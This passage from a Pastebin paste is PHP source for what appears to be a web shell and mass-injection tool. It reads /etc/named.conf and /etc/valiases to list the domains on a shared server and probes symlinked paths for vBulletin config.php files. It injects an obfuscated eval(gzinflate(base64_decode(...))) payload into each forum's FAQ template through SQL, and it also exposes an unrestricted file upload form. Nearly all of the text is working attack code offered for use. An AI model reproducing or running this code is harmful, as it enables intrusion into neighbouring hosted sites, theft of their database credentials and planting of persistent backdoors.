  1178. $shell   = "bVDPS8MwFL4L/g+vYZAWdPPiaUv14kAQFKqnUUqapjSYNKFJxCn7322abgzcIfDyvl+P7/qKs04D3tS5sJ96MMJ9b+ohDw8vTWcq31PF02yJp/WqzvEaZk2rBwWUOaF7ghAo7jrdEGS0dQh4z9zecIKUl04YOrhV4N821FEEwZQgb6SmDR8QiObsdxYheuMdRKNWSH5UxtmKn3G+v0P5TIxgNTqhWWR9rYSLAXH/RaUfgY8pbVROZ4VI0aawqN5ei/cdDlRcAiFwJEIGv4HyyLTZp4tq+/zyVOxwOASXO+yUqUI6Lm/gHxiBLDic6o62UHjGuLWQJEko99T9Gg7ApeUXJFsq5EX+AR7yPw==" ;
  1179.  
  1180. $crypt  = "{\${eval(gzinflate(base64_decode(\'";
  1181.  
  1182. $crypt .= "$shell";
  1183.  
  1184. $crypt .= "\')))}}{\${exit()}}</textarea>";
  1185.  
  1186. $sqlfaq = "UPDATE template SET template ='".$crypt."' WHERE title ='FAQ'" ;
  1187.  
  1188. $query  = @mysql_query($sqlfaq,$con);
  1189.  
  1190.  
  1191.  
  1192. if ($query){$r = '<b style="color: #006600">Succeed</b> shell in search.php';}
  1193.  
  1194. else
  1195.  
  1196. {
  1197.  
  1198. $r = '<b style="color:red">failed</b>';
  1199.  
  1200. }
  1201.  
  1202. $domins = trim($domin).'';
  1203.  
  1204. echo "<tr>
  1205. <td><a target='_blank' href='http://$domins'>$domin</a></td>
  1206. <td><a target='_blank' href='$config'>config</a></td><td>".$r."</td></tr>";
  1207.  
  1208.  
  1209.  
  1210.  
  1211.  
  1212.  
  1213.  
  1214. }else{
  1215.  
  1216. echo "<tr>
  1217. <td><a target='_blank' href='http://$domins'>$domin</a></td>
  1218. <td><a target='_blank' href='http://$config'>config</a></td><td><b style='color:red'>failed2</b></td></tr>";
  1219. }
  1220.  
  1221. }
  1222.  
  1223.  
  1224.  
  1225.  
  1226.  
  1227.  
  1228.  
  1229.  
  1230.  
  1231.  
  1232. die();
  1233.  
  1234. }
  1235.  
  1236. if(!is_file('named.txt')){
  1237.  
  1238. $d00m = file("/etc/named.conf");
  1239.  
  1240. }else{
  1241.  
  1242. $d00m = file("named.txt");
  1243.  
  1244.  
  1245. }
  1246. if(!$d00m)
  1247. {
  1248.  
  1249.                 die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
  1250. }
  1251. else
  1252.  
  1253. {
  1254. echo "<div class='tmp'>
  1255. <form method='POST' action='$pg?sws=vb'>
  1256. <input type='submit' value='Inject shell' />
  1257. <input type='hidden' value='1' name='s' />
  1258. </form>
  1259. <br /><br />
  1260. <table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
  1261.  
  1262. $f = fopen('vb.txt','w');
  1263.  
  1264. foreach($d00m as $dom){
  1265.  
  1266. if(eregi("zone",$dom)){
  1267.  
  1268. preg_match_all('#zone "(.*)"#', $dom, $domsws);
  1269.  
  1270. if(strlen(trim($domsws[1][0])) > 2){
  1271.  
  1272. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
  1273.  
  1274. ///////////////////////////////////////////////////////////////////////////////////
  1275.  
  1276. $wpl=$pageURL."/sym/root/home/".$user['name']."/includes/config.php";
  1277. $wpp=get_headers($wpl);
  1278. $wp=$wpp[0];
  1279.  
  1280. $wp2=$pageURL."/sym/root/home/".$user['name']."/vb/includes/config.php";
  1281. $wpp2=get_headers($wp2);
  1282. $wp12=$wpp2[0];
  1283.  
  1284. $wp3=$pageURL."/sym/root/home/".$user['name']."/forum/includes/config.php";
  1285. $wpp3=get_headers($wp3);
  1286. $wp13=$wpp3[0];
  1287.  
  1288.  
  1289.  ////////// vb ////////////
  1290.  
  1291. $pos = strpos($wp, "200");
  1292. $config="&nbsp;";
  1293.  
  1294. if (strpos($wp, "200") == true )
  1295. {
  1296.  $config= $wpl;
  1297. }
  1298. elseif (strpos($wp12, "200") == true)
  1299. {
  1300.   $config= $wp2;
  1301. }
  1302. elseif (strpos($wp13, "200") == true)
  1303. {
  1304.   $config= $wp3;
  1305. }
  1306. else
  1307. {
  1308. continue;
  1309.  
  1310. }
  1311. flush();
  1312.  
  1313. /////////////////////////////////////////////////////////////////////////////////////
  1314.  
  1315. $dom = $domsws[1][0];
  1316.  
  1317. $w = fwrite($f,"$config||$dom \n");
  1318. if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
  1319.  
  1320.  
  1321. echo "<tr><td><a href=http://www.".$domsws[1][0].">".$domsws[1][0]."</a></td>
  1322. <td><a href='$config'>config</a></td><td>".$r."</td></tr>";
  1323.  
  1324.  
  1325.  
  1326.  
  1327.  
  1328. flush();
  1329.  
  1330.  
  1331. }
  1332. }
  1333. }
  1334. }
  1335.  
  1336.  
  1337.  
  1338.  
  1339.  
  1340.  
  1341.  
  1342.  
  1343. break;
  1344.  
  1345. case 'help':
  1346.  
  1347. echo "<div class='tmp'>
  1348. <table align='center' width='40%'><td>function</td><td>Case</td>";
  1349.  
  1350.  
  1351. $safe_mode = ini_get('safe_mode');
  1352.      if($safe_mode){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
  1353.  
  1354. echo "<tr><td>Safe Mode</td><td>$r</td>";
  1355.  
  1356. $fun = function_exists('symlink');
  1357.      if(!$fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
  1358.  
  1359. echo "<tr><td>function symlink</td><td>$r</td>";
  1360.  
  1361.  
  1362. $fun = function_exists('file');
  1363.      if(!$fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
  1364.  
  1365. echo "<tr><td>function file</td><td>$r</td>";
  1366.  
  1367. $fun = function_exists('file_get_contents');
  1368.      if(!$fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
  1369.  
  1370. echo "<tr><td>function file_get_contents</td><td>$r</td>";
  1371.  
  1372. $fun = function_exists('mkdir');
  1373.      if(!$fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
  1374.  
  1375. echo "<tr><td>function mkdir</td><td>$r</td>";
  1376.  
  1377.  
  1378. $fun = is_dir('sym/root');
  1379.      if(!$fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
  1380.  
  1381. echo "<tr><td>Permission denied</td><td>$r</td>";
  1382.  
  1383.  
  1384. $fun = preg_match('/Forbidden/',@file_get_contents('sym/root') or !@file_get_contents('sym/root'));
  1385.      if($fun){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #006600'>True</b>";}
  1386.  
  1387. echo "<tr><td>Forbidden</td><td>$r</td>";
  1388.  
  1389.  
  1390.  
  1391.  
  1392. echo "</table></div>";
  1393.  
  1394.  
  1395.  
  1396. break;
  1397. default:
  1398. header("Location: $pg");
  1399.  
  1400.  
  1401.  
  1402. }
  1403.  
  1404.  
  1405. /// home ///
  1406. }else
  1407. {
  1408. echo '<br /><br /><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  1409. echo '<input type="file" name="file" value="Choose file" size="60" ><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  1410. if( $_POST['_upl'] == "Upload" ) {
  1411.     if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<br /><br /><b>Uploaded successful !!<br><br>'; }
  1412.     else { echo '<br /><br />Not uploaded !!<br><br>'; }
  1413. }
  1414.  
  1415.     echo '
  1416. <br /><br /><br /></b></b><div class="fot">Cod3d by <b>S3n4t00r</b> Idea by <b>Mr.Alsa3ek</b>
  1417. <br /><br />
  1418. <b style="color: red";>   Sec-w.Com  </b>
  1419. <br /><br />
  1420. Muslims Hackers</div> ';
  1421.  
  1422. }
  1423.  
  1424.  
  1425. function ex($text,$a,$b){
  1426. $explode = explode($a,$text);
  1427. $explode = explode($b,$explode[1]);
  1428. return $explode[0];
  1429. }
  1430.  
  1431.  
  1432.  
  1433. echo '</div>
  1434.  
  1435. <a style="text-decoration: none; color: #F4F4F4;" title="???????"/href="http://sec-w.com/cc">???????</a>
  1436.  
  1437. <a style="text-decoration: none; color: #F4F4F4;" title="???? ???????"/href="http://sec-w.com/cc">???? ???????</a>
  1438.  
  1439.  
  1440.  
  1441. </body>
  1442.  
  1443. </html>
  1444. ';
  1445.  
  1446. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!